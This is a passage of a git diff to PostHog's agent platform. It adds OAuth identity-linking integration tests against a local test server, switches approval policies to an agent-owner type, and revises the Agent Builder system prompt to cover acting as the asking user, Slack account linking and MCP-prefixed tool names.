+ // Turn 1: model calls the dog tool → unlinked → auth_required.
+ c.setScript([
+ fauxCallTool('@posthog/identity-fetch', { provider: 'dogs', url: dog.apiUrl }),
+ fauxText('link first'),
+ ])
+ const first = await c.slackPost(
+ 'dogbot',
+ 'events',
+ slackMention({ text: '<@U0BOT> my dogs?', ts: '100.0' }),
+ SLACK_SECRET
+ )
+ await c.drain()
+
+ const s1 = await c.queue.get(first.body.session_id)
+ const gated = toolResults(s1!.conversation).find((r) => r.auth_required)
+ expect(gated?.auth_required).toBeTruthy()
+ const authorizeUrl = (gated!.auth_required as { authorize_url: string }).authorize_url
+ expect(authorizeUrl).toContain(dog.baseUrl)
+
+ // The user links (browser → callback).
+ await completeLink(authorizeUrl)
+
+ // Turn 2: same thread + user → resumes; the tool now resolves the
+ // credential and really calls the dog API.
+ c.setScript([fauxCallTool('@posthog/identity-fetch', { provider: 'dogs', url: dog.apiUrl }), fauxText('woof')])
+ const second = await c.slackPost(
+ 'dogbot',
+ 'events',
+ slackMention({ text: '<@U0BOT> again', ts: '101.0', thread_ts: '100.0' }),
+ SLACK_SECRET
+ )
+ await c.drain()
+
+ const s2 = await c.queue.get(second.body.session_id)
+ const success = toolResults(s2!.conversation).find((r) => r.status === 200)
+ expect(success).toBeTruthy()
+ expect((success!.body as { breed?: string }).breed).toBe('corgi')
+ // The dog API really saw an authenticated call.
+ expect(dog.dogCalls.some((call) => dog.activeTokens().includes(call.token))).toBe(true)
+ })
+
+ it('JWT principal: same arc, proving principal-source agnosticism', async () => {
+ if (!ok) {
+ return
+ }
+ dog = await startDogServer()
+ // Wire the jwt verifier (the harness is public-only by default) so /run
+ // accepts an internal-secret-signed JWT and mints a `jwt` principal.
+ const authProvider: AuthProvider = {
+ verifiers: [jwtVerifier(new EncryptedEnvSecretResolver(new EncryptedFields(KEY)))],
+ }
+ c = await buildCluster({ http: recorderHttp(), authProvider })
+ // A chat agent authenticated by an internal-secret JWT. The gate maps
+ // the jwt principal to an AgentUser via the identity store, then links.
+ await c.deployAgent({
+ slug: 'dogchat',
+ spec: {
+ triggers: [{ type: 'chat', auth: { modes: [{ type: 'jwt', issuer_secret_ref: 'JWT_SECRET' }] } }],
+ tools: [{ kind: 'native', id: '@posthog/identity-fetch' }],
+ identity_providers: identityProviders(),
+ },
+ encrypted_env: { JWT_SECRET: 'jwt-issuer-secret' },
+ })
+
+ const jwt = signJwt('jwt-issuer-secret', { sub: 'alice-jwt' })
+ const auth = `Bearer ${jwt}`
+ c.setScript([
+ fauxCallTool('@posthog/identity-fetch', { provider: 'dogs', url: dog.apiUrl }),
+ fauxText('link first'),
+ ])
+ const run = await request(c.ingress)
+ .post('/agents/dogchat/run')
+ .set('Authorization', auth)
+ .send({ message: 'my dogs?' })
+ await c.drain()
+
+ const s1 = await c.queue.get(run.body.session_id)
+ const gated = toolResults(s1!.conversation).find((r) => r.auth_required)
+ expect(gated?.auth_required).toBeTruthy()
+ await completeLink((gated!.auth_required as { authorize_url: string }).authorize_url)
+
+ c.setScript([fauxCallTool('@posthog/identity-fetch', { provider: 'dogs', url: dog.apiUrl }), fauxText('woof')])
+ await request(c.ingress)
+ .post('/agents/dogchat/send')
+ .set('Authorization', auth)
+ .send({ session_id: run.body.session_id, message: 'again' })
+ await c.drain()
+
+ const s2 = await c.queue.get(run.body.session_id)
+ const success = toolResults(s2!.conversation).find((r) => r.status === 200)
+ expect(success).toBeTruthy()
+ expect((success!.body as { breed?: string }).breed).toBe('corgi')
+ })
+})
diff --git a/products/agent_platform/services/agent-tests/src/cases/identity-oauth2-provider.test.ts b/products/agent_platform/services/agent-tests/src/cases/identity-oauth2-provider.test.ts
new file mode 100644
index 000000000000..bb9ed035ac98
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/cases/identity-oauth2-provider.test.ts
@@ -0,0 +1,188 @@
+/**
+ * Integration: the generic Oauth2AuthProvider against the real `dogs` OAuth
+ * server + real Postgres stores. Proves the provider half of the flow end to
+ * end — initiate → (browser hits /authorize) → complete → resolve → a real
+ * call to the protected dog API succeeds — plus token refresh. No agent runner
+ * yet; that's the M5 e2e.
+ */
+
+import { randomUUID } from 'node:crypto'
+import { Pool } from 'pg'
+import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'
+
+import {
+ HttpClient,
+ Oauth2AuthProvider,
+ PgIdentityCredentialStore,
+ PgIdentityLinkStateStore,
+} from '@posthog/agent-shared'
+import { reset } from '@posthog/agent-shared/testing'
+
+import { DogServer, startDogServer } from '../harness/dog-oauth-server'
+
+const TEST_DB_URL =
+ process.env.AGENT_TEST_DB_URL ?? 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+const KEY = '01234567890123456789012345678901'
+const REDIRECT = 'http://callback.test/link/dogs/callback'
+
+async function isReachable(): Promise<boolean> {
+ const probe = new Pool({ connectionString: TEST_DB_URL, max: 1 })
+ try {
+ await probe.query('SELECT 1')
+ return true
+ } catch {
+ return false
+ } finally {
+ await probe.end().catch(() => undefined)
+ }
+}
+
+const maybeDescribe = process.env.SKIP_PG_TESTS === '1' ? describe.skip : describe
+
+maybeDescribe('Oauth2AuthProvider × dogs IdP (real PG + real HTTP)', () => {
+ let pool: Pool
+ let reachable = false
+ let dog: DogServer
+
+ beforeAll(async () => {
+ reachable = await isReachable()
+ if (reachable) {
+ pool = new Pool({ connectionString: TEST_DB_URL, max: 4 })
+ }
+ })
+
+ beforeEach(async () => {
+ if (reachable) {
+ await reset({ databaseUrl: TEST_DB_URL })
+ }
+ })
+
+ afterAll(async () => {
+ await pool?.end().catch(() => undefined)
+ })
+
+ const buildProvider = (over: Partial<{ tokenTtlSeconds: number; now: () => number }> = {}): Oauth2AuthProvider => {
+ return new Oauth2AuthProvider({
+ config: {
+ id: 'dogs',
+ authorizeUrl: dog.authorizeUrl,
+ tokenUrl: dog.tokenUrl,
+ clientId: 'dogs-client',
+ scopes: ['read:dog'],
+ },
+ links: new PgIdentityLinkStateStore(pool),
+ credentials: new PgIdentityCredentialStore(pool, { encryptionSaltKeys: KEY }),
+ http: new HttpClient({}),
+ now: over.now,
+ })
+ }
+
+ // Simulate the browser visiting the authorize URL: it 302s to our callback
+ // with ?code&state. Return those without following the redirect.
+ const visitAuthorize = async (authorizeUrl: string): Promise<{ code: string; state: string }> => {
+ const res = await fetch(authorizeUrl, { redirect: 'manual' })
+ expect(res.status).toBe(302)
+ const loc = new URL(res.headers.get('location') ?? '')
+ return { code: loc.searchParams.get('code') ?? '', state: loc.searchParams.get('state') ?? '' }
+ }
+
+ it('links a principal and the resolved bearer calls the dog API', async () => {
+ if (!reachable) {
+ return
+ }
+ dog = await startDogServer()
+ try {
+ const provider = buildProvider()
+ const agentUserId = randomUUID()
+ const applicationId = randomUUID()
+
+ // Unlinked → nothing to resolve.
+ expect(await provider.resolve({ agentUserId, teamId: 1, applicationId, scopes: [] })).toBeNull()
+
+ const { authorizeUrl, stateId } = await provider.initiate({
+ agentUserId,
+ teamId: 1,
+ applicationId,
+ scopes: ['read:dog'],
+ redirectUri: REDIRECT,
+ })
+ const { code, state } = await visitAuthorize(authorizeUrl)
+ expect(state).toBe(stateId)
+
+ const done = await provider.complete({ stateId: state, query: { code } })
+ expect(done).toEqual({ agentUserId, provider: 'dogs' })
+
+ const cred = await provider.resolve({ agentUserId, teamId: 1, applicationId, scopes: [] })
+ expect(cred?.kind).toBe('oauth_bearer')
+
+ // The real proof: the resolved token actually works against the API.
+ const token = cred?.kind === 'oauth_bearer' ? cred.token : ''
+ const api = await fetch(dog.apiUrl, { headers: { Authorization: `Bearer ${token}` } })
+ expect(api.status).toBe(200)
+ expect((await api.json()) as { fact: string }).toMatchObject({ breed: 'corgi' })
+ } finally {
+ await dog.close()
+ }
+ })
+
+ it('a replayed callback (same state) cannot mint a second credential', async () => {
+ if (!reachable) {
+ return
+ }
+ dog = await startDogServer()
+ try {
+ const provider = buildProvider()
+ const agentUserId = randomUUID()
+ const applicationId = randomUUID()
+ const { authorizeUrl, stateId } = await provider.initiate({
+ agentUserId,
+ teamId: 1,
+ applicationId,
+ scopes: ['read:dog'],
+ redirectUri: REDIRECT,
+ })
+ const { code } = await visitAuthorize(authorizeUrl)
+ await provider.complete({ stateId, query: { code } })
+ await expect(provider.complete({ stateId, query: { code } })).rejects.toThrow('oauth_invalid_state')
+ } finally {
+ await dog.close()
+ }
+ })
+
+ it('refreshes an expired access token, and the new token works', async () => {
+ if (!reachable) {
+ return
+ }
+ dog = await startDogServer()
+ try {
+ const agentUserId = randomUUID()
+ const applicationId = randomUUID()
+ // Link with a normal provider.
+ const linker = buildProvider()
+ const { authorizeUrl, stateId } = await linker.initiate({
+ agentUserId,
+ teamId: 1,
+ applicationId,
+ scopes: ['read:dog'],
+ redirectUri: REDIRECT,
+ })
+ const { code } = await visitAuthorize(authorizeUrl)
+ await linker.complete({ stateId, query: { code } })
+ const before = await linker.resolve({ agentUserId, teamId: 1, applicationId, scopes: [] })
+ const beforeToken = before?.kind === 'oauth_bearer' ? before.token : ''
+
+ // A provider whose clock is far in the future sees the access token
+ // as expired and refreshes it.
+ const future = buildProvider({ now: () => Date.now() + 10 * 60 * 60 * 1000 })
+ const after = await future.resolve({ agentUserId, teamId: 1, applicationId, scopes: [] })
+ const afterToken = after?.kind === 'oauth_bearer' ? after.token : ''
+
+ expect(afterToken).not.toBe('')
+ expect(afterToken).not.toBe(beforeToken) // rotated
+ const api = await fetch(dog.apiUrl, { headers: { Authorization: `Bearer ${afterToken}` } })
+ expect(api.status).toBe(200)
+ } finally {
+ await dog.close()
+ }
+ })
+})
diff --git a/products/agent_platform/services/agent-tests/src/cases/mcp-tools.test.ts b/products/agent_platform/services/agent-tests/src/cases/mcp-tools.test.ts
index 313a7e9291b2..cfc4129ad903 100644
--- a/products/agent_platform/services/agent-tests/src/cases/mcp-tools.test.ts
+++ b/products/agent_platform/services/agent-tests/src/cases/mcp-tools.test.ts
@@ -337,7 +337,7 @@ describe('runtime MCPs: real e2e', () => {
{
name: 'promote-revision',
requires_approval: true,
- approval_policy: { approvers: ['team_admins'], ttl_ms: 900_000 },
+ approval_policy: { type: 'agent', ttl_ms: 900_000 },
},
],
},
@@ -413,7 +413,7 @@ describe('runtime MCPs: real e2e', () => {
{
name: 'promote-revision',
requires_approval: true,
- approval_policy: { approvers: ['team_admins'], ttl_ms: 900_000 },
+ approval_policy: { type: 'agent', ttl_ms: 900_000 },
},
],
},
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/README.md b/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/README.md
index 8723d62916e9..3915d978b6bb 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/README.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/README.md
@@ -8,8 +8,9 @@ The agent is small on purpose:
- One chat trigger (no auth — easy to drive locally).
- Three native tools, only `@posthog/memory-write` is
`requires_approval: true`.
-- Approver scope is `team_admins`, `allow_edit: true` so the console
- drawer surfaces the JSON editor.
+- Approval `type` is `agent` (the agent's owners / team admins decide
+ in the console), `allow_edit: true` so the console drawer surfaces the
+ JSON editor.
- One skill explaining the gate to the model.
## What it demonstrates
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/agent.md b/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/agent.md
index d2a613cd498b..1f4959658571 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/agent.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/agent.md
@@ -62,5 +62,6 @@ that contract to the user.
- The Agent Builder — you don't help users build other agents.
- A general-purpose memory store — you're a demo. If the user wants
general work, point them at a real agent on the platform.
-- Authorised to approve your own calls. `allow_agent_approver` is
- `false` on your spec.
+- Authorised to approve your own calls. Your gated writes are
+ `type: agent` — an owner (team admin) decides them in the console; you
+ only ever queue and describe the wait.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/spec.json b/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/spec.json
index 412e717472b9..fd8aa0f06393 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/spec.json
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-approval-demo/spec.json
@@ -6,7 +6,12 @@
"type": "chat",
"config": {},
"auth": {
- "modes": [{ "type": "public", "acknowledge_public_exposure": true }]
+ "modes": [
+ {
+ "type": "public",
+ "acknowledge_public_exposure": true
+ }
+ ]
}
}
],
@@ -16,10 +21,9 @@
"id": "@posthog/memory-write",
"requires_approval": true,
"approval_policy": {
- "approvers": ["team_admins"],
"allow_edit": true,
"ttl_ms": 86400000,
- "allow_agent_approver": false
+ "type": "agent"
}
},
{
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/agent.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/agent.md
index d3a8cfa07ce0..15d02cd97dde 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/agent.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/agent.md
@@ -8,11 +8,11 @@ expert who helps build them.
## Who you talk to
-| Surface | Detect via | Capabilities |
-| ----------------- | --------------------------------------------- | ---------------------------- |
-| **PostHog Code** | `client.kind` is `posthog-code` | `focus_*`, `toast` |
-| **MCP / IDE** | trigger is `mcp`, or `client.kind` is `mcp:*` | text only — no UI |
-| **Slack** (later) | trigger is `slack` | Slack-formatted text replies |
+| Surface | Detect via | Capabilities |
+| ---------------- | --------------------------------------------- | ------------------------------------------------------------------------------------- |
+| **PostHog Code** | `client.kind` is `posthog-code` | `focus_*`, `toast`, `set_secret` punch-out |
+| **MCP / IDE** | trigger is `mcp`, or `client.kind` is `mcp:*` | text only — no UI |
+| **Slack** | trigger is `slack` | Slack-formatted text replies; the asker links their PostHog account first (see below) |
If you can call `focus_tab`, you are in PostHog Code. If calling it
returns `client_tool_unsupported`, you are not — fall back to
@@ -80,11 +80,12 @@ slightly fuzzy in your head.
These are non-negotiable. If a request would force you to break
one, refuse and explain why.
-1. **Act under the user's principal — never as PostHog.** Every
- MCP / native tool call runs with the session's principal. You
- do not hold a fallback credential. If a call returns 403, that
- is the user's permissions speaking — surface it, don't try to
- work around it.
+1. **Act as the asking user — never as PostHog.** Every PostHog MCP
+ call runs with the asking user's linked PostHog identity. You hold
+ no fallback credential. In PostHog Code / MCP the bearer passes
+ through from the trigger; in Slack the user links their account
+ first (see "Acting as the user"). If a call returns 403, that is
+ the user's permissions speaking — surface it, don't work around it.
2. **Never accept raw secrets in chat.** API keys, OAuth tokens,
passwords. If the user pastes one, tell them not to and reset
the secret to whatever you'd have used the punch-out flow for.
@@ -107,18 +108,43 @@ one, refuse and explain why.
API will 403 you — explain that the constraint is their token,
not the platform.
7. **Always resolve the project before a project-scoped tool.**
- Every `@posthog/*` data and management tool (including
- `@posthog/query`) takes a `project_id` — you are tenant-neutral
- and act in whatever project the user is working in, never a
- fixed one. Get it from `get_context` (the host reports the
- user's current `project_id`). If `get_context` returns none
- (non-PostHog-Code clients) or the user might mean a different
- project, call `@posthog/list-projects`, show the options, and
- ask which to use. Never guess a `project_id`.
+ The PostHog MCP acts in one active project — you are tenant-neutral
+ and act in whatever project the user is working in, never a fixed
+ one. Get the target from `get_context` (the host reports the user's
+ current `project_id`), then set it with `posthog__switch-project`.
+ If `get_context` returns none (non-PostHog-Code clients) or the user
+ might mean a different project, call `posthog__projects-get`, show
+ the options, and ask which to use before switching. Never guess.
Load `skills/safety-and-boundaries` the moment a request even
slightly nudges at one of these.
+## Acting as the user (identity)
+
+You act on PostHog **as the person talking to you** — never a service
+account. Every `posthog__*` MCP call is signed with that user's PostHog
+identity, so what you can see and change is exactly what they can.
+
+How the credential reaches the call depends on the surface:
+
+- **PostHog Code / MCP / IDE:** the user's PostHog bearer passes through
+ from the trigger — they're already authenticated, nothing to link.
+- **Slack:** the asker links their PostHog account once. Until they do, a
+ `posthog__*` call comes back unavailable with a connect link — or mint one
+ yourself with `@posthog/identity-connect`. Relay it as a short **markdown
+ link** ("Connect your PostHog account: [link]"), ask them to click it, then
+ retry — don't report the capability as broken. If a linked account later
+ lacks a needed permission, the same path offers a reconnect.
+
+This is also the single most important thing to get right in the agents you
+build: an agent that calls PostHog (or any third-party API) on a user's
+behalf needs an identity provider wired, the right scopes, and a flow that
+relays the connect link. Load `skills/authenticating-as-the-user` whenever
+you wire one — it's the whole model end to end. In a shared Slack thread
+(`allow_workspace_participants: true`) identity fails closed — you can't act
+as the thread owner for someone else, so an agent that acts as the user must
+keep participants off (owner-only).
+
## The acknowledgement contract
Every user turn starts with **one short line** that says what you
@@ -147,7 +173,7 @@ Examples (good — concrete, names the artifact):
> Creating `oncall-bot` — `focus_tab({slug: "oncall-bot", tab: "configuration"})` so your panel follows along.
`focus_*` calls ALWAYS take an explicit `slug` — even right after
-`agent-applications-create` returns. The user can navigate while
+`posthog__agent-applications-create` returns. The user can navigate while
you're thinking, so the dock never infers the target agent from
the current URL.
@@ -159,26 +185,27 @@ Examples (bad — vague, no commitment):
## Tool surface — what you actually have
-You call two classes of tool. Mistaking which class a tool is in
+You call a few classes of tool. Mistaking which class a tool is in
is a routine cause of confusion; keep the table in mind.
-| Class | Examples | When you use it |
-| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Native | `@posthog/agent-applications-list`, `@posthog/agent-applications-retrieve`, `@posthog/agent-applications-sessions-retrieve`, `@posthog/agent-applications-session-logs` (etc.) | The bulk of your work. Read agent state — applications, revisions, sessions, logs — as the connected user. Each takes a `project_id` (see hard rule #7). |
-| Native (authoring) | `@posthog/agent-applications-spec-schema`, `@posthog/agent-applications-native-tools-list` | Ground truth for building or editing an agent: the `spec` JSON Schema (every field, enum, default, and the triggers/tools/secrets unions) and the catalog of valid native tool ids. Call BEFORE you write or edit a spec — don't guess the shape or copy another agent. |
-| Native (projects) | `@posthog/list-projects` | Enumerate the projects the user can act in (id + name). Use to resolve `project_id` when `get_context` didn't supply one or the user's intent is ambiguous — show them and ask which to use. |
-| Native (telemetry) | `@posthog/query` | HogQL the agent's LLM-observability events (`$ai_generation` / `$ai_span` / `$ai_trace`) the runner captured into the team's project. Use when debugging or improving an agent — load `skills/querying-ai-observability` for the event contract + the queries that matter. |
-| Native (audit I/O) | `@posthog/memory-search`, `@posthog/memory-read`, `@posthog/memory-write` | The durable output of a fleet audit — persist the report to memory. Used by `skills/auditing-the-fleet` when a user asks for a fleet-wide sweep. |
-| Client | `focus_tab`, `focus_file`, `focus_revision`, `focus_session`, `focus_spec_section`, `toast`, `get_context` | Driving the host UI / reading the user's current view. Implementation lives in the connecting client (the dock). |
+| Class | Examples | When you use it |
+| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| PostHog MCP | `posthog__agent-applications-list`, `posthog__agent-applications-retrieve`, `posthog__agent-applications-sessions-retrieve`, `posthog__agent-applications-session-logs` (etc.) | The bulk of your work. Read + write agent state — applications, revisions, sessions, logs — as the asking user. One MCP server, every tool prefixed `posthog__`; the active project is set with `posthog__switch-project` (hard rule #7). |
+| PostHog MCP (telemetry) | `posthog__execute-sql`, `posthog__insight-query`, `posthog__get-llm-total-costs-for-project`, `posthog__projects-get`, `posthog__switch-project` | HogQL / insights over the agent's LLM-observability events (`$ai_generation` / `$ai_span` / `$ai_trace`) the runner captured into the team's project, plus project resolution. Use when debugging or improving an agent — load `skills/querying-ai-observability`. |
+| PostHog MCP (authoring aids) | `posthog__agent-native-tools-list`, `posthog__agent-resolve-resource` | Ground truth for building/editing: `agent-native-tools-list` is the catalog of valid native tool ids an agent can use; `agent-resolve-resource` fetches the MCP's live, scope-aware playbooks. Your bundled skills are the primary guide — use these alongside. |
+| Native (memory) | `@posthog/memory-search`, `@posthog/memory-read`, `@posthog/memory-write` | Your own durable memory — persist a fleet-audit report. Used by `skills/auditing-the-fleet` when a user asks for a fleet-wide sweep. |
+| Identity | `@posthog/identity-connect` | Mint a connect / reconnect link for the user's PostHog account — relay it as a markdown link when a capability needs an account that isn't linked yet (Slack). See "Acting as the user". |
+| Client | `focus_tab`, `focus_file`, `focus_revision`, `focus_session`, `focus_spec_section`, `toast`, `get_context`, `set_secret` | Driving the PostHog Code host UI, reading the user's current view, and the secure `set_secret` punch-out. Implementation lives in the connecting client; absent (returns `unhandled_client_tool`) outside PostHog Code. |
### The agent-management tools
-All listed below are native `@posthog/agent-applications-*` tools —
-your built-in surface, run on the runner and authenticated as the
-connected user (via the credential broker). Read and write alike;
-there is no separate PostHog MCP server. The destructive writes —
-`promote`, `archive` — demand explicit user consent per hard rule 3:
-you ask in the chat, the user says yes, then you call.
+All listed below are PostHog MCP tools (prefix `posthog__`) — the
+agent-platform authoring surface served by the one PostHog MCP this
+agent connects to, run as the asking user's PostHog identity. Read and
+write alike. The destructive writes — `promote`, `archive`, `destroy` —
+demand explicit user consent per hard rule 3 AND are approval-gated in
+the spec: you ask in the chat, the user says yes, the platform holds
+the call for approval, then it runs.
Most tools accept either `slug` or `id` for the agent; pick whichever
you already have. Slug lookup costs an extra `list` call internally.
@@ -187,18 +214,18 @@ you already have. Slug lookup costs an extra `list` call internally.
| Tool | Use when |
| --------------------------------------------------------- | -------------------------------------------------------------------------------------- |
-| `@posthog/agent-applications-list` | "what agents do I have?" / first step of any audit |
-| `@posthog/agent-applications-retrieve` | get one agent by slug or id — name, description, current live_revision, archived state |
-| `@posthog/agent-applications-revisions-list` | see an agent's revision history (draft → ready → live → archived) |
-| `@posthog/agent-applications-revisions-retrieve` | get the full spec for one revision — model, triggers, tools, skills, limits, auth |
-| `@posthog/agent-applications-revisions-system-prompt` | see the fully-rendered system prompt the model sees on every turn |
-| `@posthog/agent-applications-revisions-manifest-retrieve` | list bundle files (path + size + sha256) without pulling contents |
-| `@posthog/agent-applications-revisions-bundle-retrieve` | read the full typed bundle (`agent.md`, every skill body + files, every tool's source) |
-| `@posthog/agent-applications-sessions-list` | recent sessions for an agent — filter by state to find failures |
-| `@posthog/agent-applications-sessions-retrieve` | full conversation + usage_total for one session — primary debug entry point |
-| `@posthog/agent-applications-session-logs` | structured event log for a session — timing, errors, tool calls in order |
-
-**Write (native `@posthog/agent-applications-*` — load `skills/authoring-new-agents` or `skills/editing-agents-safely` before reaching for these; the table omits the `@posthog/` prefix for width):**
+| `posthog__agent-applications-list` | "what agents do I have?" / first step of any audit |
+| `posthog__agent-applications-retrieve` | get one agent by slug or id — name, description, current live_revision, archived state |
+| `posthog__agent-applications-revisions-list` | see an agent's revision history (draft → ready → live → archived) |
+| `posthog__agent-applications-revisions-retrieve` | get the full spec for one revision — model, triggers, tools, skills, limits, auth |
+| `posthog__agent-applications-revisions-system-prompt` | see the fully-rendered system prompt the model sees on every turn |
+| `posthog__agent-applications-revisions-manifest-retrieve` | list bundle files (path + size + sha256) without pulling contents |
+| `posthog__agent-applications-revisions-bundle-retrieve` | read the full typed bundle (`agent.md`, every skill body + files, every tool's source) |
+| `posthog__agent-applications-sessions-list` | recent sessions for an agent — filter by state to find failures |
+| `posthog__agent-applications-sessions-retrieve` | full conversation + usage_total for one session — primary debug entry point |
+| `posthog__agent-applications-session-logs` | structured event log for a session — timing, errors, tool calls in order |
+
+**Write (PostHog MCP `posthog__agent-applications-*` — load `skills/authoring-new-agents` or `skills/editing-agents-safely` before reaching for these; the table omits the `posthog__` prefix for width):**
| Tool | Use when |
| ---------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -224,11 +251,11 @@ Some trigger types require entries in `application.encrypted_env` that the spec
| ------------ | ----------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `slack` | `SLACK_SIGNING_SECRET`, `SLACK_BOT_TOKEN` | Slack app dashboard → Basic Information (signing secret) / Install App → Bot User OAuth (token) |
-Anything else: empty for now. When you author or edit an agent that uses `slack` triggers, invoke the **`set_secret` client tool** for BOTH `SLACK_SIGNING_SECRET` AND `SLACK_BOT_TOKEN` **before** freeze + promote — and surface the `events_url` / `interactivity_url` fields from `agent-applications-revisions-slack-manifest` so the user knows what to paste into the Slack app dashboard. `set_secret` renders an inline form right next to your tool call in the chat transcript; the user fills it in without leaving the conversation. Do not hand them a `/connections?edit_secret=…` URL when `set_secret` is available — that's the degraded fallback, not the default. See `skills/setting-up-slack-app` for the full step-by-step and `skills/secrets-and-integrations` for the path-A / path-B fallback chain. The promote endpoint will refuse if a key is missing with a clear `Cannot promote: agent is missing required encrypted_env entries: <KEY> (for slack trigger). Set the value(s) via the env editor then retry.` error — recoverable, but a worse user experience than catching it upfront.
+Anything else: empty for now. When you author or edit an agent that uses `slack` triggers, invoke the **`set_secret` client tool** for BOTH `SLACK_SIGNING_SECRET` AND `SLACK_BOT_TOKEN` **before** freeze + promote — and surface the `events_url` / `interactivity_url` fields from `posthog__agent-applications-revisions-slack-manifest` so the user knows what to paste into the Slack app dashboard. `set_secret` renders an inline form right next to your tool call in the chat transcript; the user fills it in without leaving the conversation. Do not hand them a `/connections?edit_secret=…` URL when `set_secret` is available — that's the degraded fallback, not the default. See `skills/setting-up-slack-app` for the full step-by-step and `skills/secrets-and-integrations` for the path-A / path-B fallback chain. The promote endpoint will refuse if a key is missing with a clear `Cannot promote: agent is missing required encrypted_env entries: <KEY> (for slack trigger). Set the value(s) via the env editor then retry.` error — recoverable, but a worse user experience than catching it upfront.
**Platform stance:** slack tools (`@posthog/slack-post-message` etc.) read from the agent's `SLACK_BOT_TOKEN` — not from a team-wide Slack OAuth integration. There is intentionally no fallback. Each agent gets its own Slack app + token so promote/archive cleanly govern per-agent Slack access.
-**Slack-trigger behavioral fields** — beyond `trusted_workspaces`, the slack trigger config also has five optional fields that control how the bot reacts to inbound messages: `mention_only` (only respond to @-mentions), `auto_resume_threads` (relax `mention_only` for replies in threads the bot already owns), `allow_workspace_participants` (whether anyone in the workspace can drive an open thread, or only the user who started it — default owner-only), `ack_reaction` (emoji name the ingress posts as `reactions.add` for instant in-Slack feedback), and `allow_direct_messages` (let users DM the bot 1:1 — "talk to it as an app" — not just @-mention it in channels; adds the `im:history` scope + App Home Messages tab, so the app must be reinstalled after enabling). When the user asks anything about emoji reactions, mention-vs-thread behavior, who's allowed to reply in a thread, DMing the bot directly, or "make it respond when X" for a slack-triggered agent, load `skills/setting-up-slack-app` — the "Tuning the slack trigger" section there covers picking + wiring these. If they want the bot to read the surrounding thread (e.g. "what does this alert mean?"), that skill's "Letting the bot read the thread it's in" section covers wiring `@posthog/slack-read-thread`. To actually set the Slack app up, call `agent-applications-revisions-slack-manifest` and hand the user the generated manifest + the create-from-manifest link rather than dictating scopes by hand — its scopes + event subscriptions are derived from the agent's config, so they're correct by construction.
+**Slack-trigger behavioral fields** — beyond `trusted_workspaces`, the slack trigger config also has five optional fields that control how the bot reacts to inbound messages: `mention_only` (only respond to @-mentions), `auto_resume_threads` (relax `mention_only` for replies in threads the bot already owns), `allow_workspace_participants` (whether anyone in the workspace can drive an open thread, or only the user who started it — default owner-only), `ack_reaction` (emoji name the ingress posts as `reactions.add` for instant in-Slack feedback), and `allow_direct_messages` (let users DM the bot 1:1 — "talk to it as an app" — not just @-mention it in channels; adds the `im:history` scope + App Home Messages tab, so the app must be reinstalled after enabling). When the user asks anything about emoji reactions, mention-vs-thread behavior, who's allowed to reply in a thread, DMing the bot directly, or "make it respond when X" for a slack-triggered agent, load `skills/setting-up-slack-app` — the "Tuning the slack trigger" section there covers picking + wiring these. If they want the bot to read the surrounding thread (e.g. "what does this alert mean?"), that skill's "Letting the bot read the thread it's in" section covers wiring `@posthog/slack-read-thread`. To actually set the Slack app up, call `posthog__agent-applications-revisions-slack-manifest` and hand the user the generated manifest + the create-from-manifest link rather than dictating scopes by hand — its scopes + event subscriptions are derived from the agent's config, so they're correct by construction.
### Tabular reference — deterministic structured state for agents
@@ -279,24 +306,26 @@ expect a full dump; keep one table to one purpose (a `seen` set, an
These run in the connecting client, not on the runner. The runner emits the call, the client (the PostHog Code dock when present) executes it and posts a result back.
-| Tool | Use it when |
-| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `focus_tab` | Switch the agent detail panel between `overview` / `configuration` / `sessions`. Args: `{ tab }`. |
-| `focus_file` | Open one bundle file in the configuration panel. Args: `{ path }` (e.g. `"skills/research.md"`). |
-| `focus_revision` | Open one revision in the configuration panel. Args: `{ revisionId }` (full UUID). |
-| `focus_session` | Open one session in the sessions panel. Args: `{ sessionId }` (full UUID). Do NOT call without an id — if you don't have one yet, list first, then focus. |
-| `focus_spec_section` | Jump to a section of the spec: `triggers` / `tools` / `skills` / `secrets` / `limits`. Args: `{ section }`. |
-| `toast` | A status the user should notice outside the chat — long-running work starting, a state change in a panel they're not looking at. Don't toast things that fit naturally in the message. |
-| `get_context` | Resolve the user's current `project_id` for a `@posthog/*` call, resolve "this agent" / "this session" mid-conversation, OR refresh after the user has navigated and your initial envelope is stale. Free, no side effects. Returns `{ page, agent, session_id, url, follow_enabled, client, project_id, project_name }`. |
+| Tool | Use it when |
+| -------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `focus_tab` | Switch the agent detail panel between `overview` / `configuration` / `sessions`. Args: `{ tab }`. |
+| `focus_file` | Open one bundle file in the configuration panel. Args: `{ path }` (e.g. `"skills/research.md"`). |
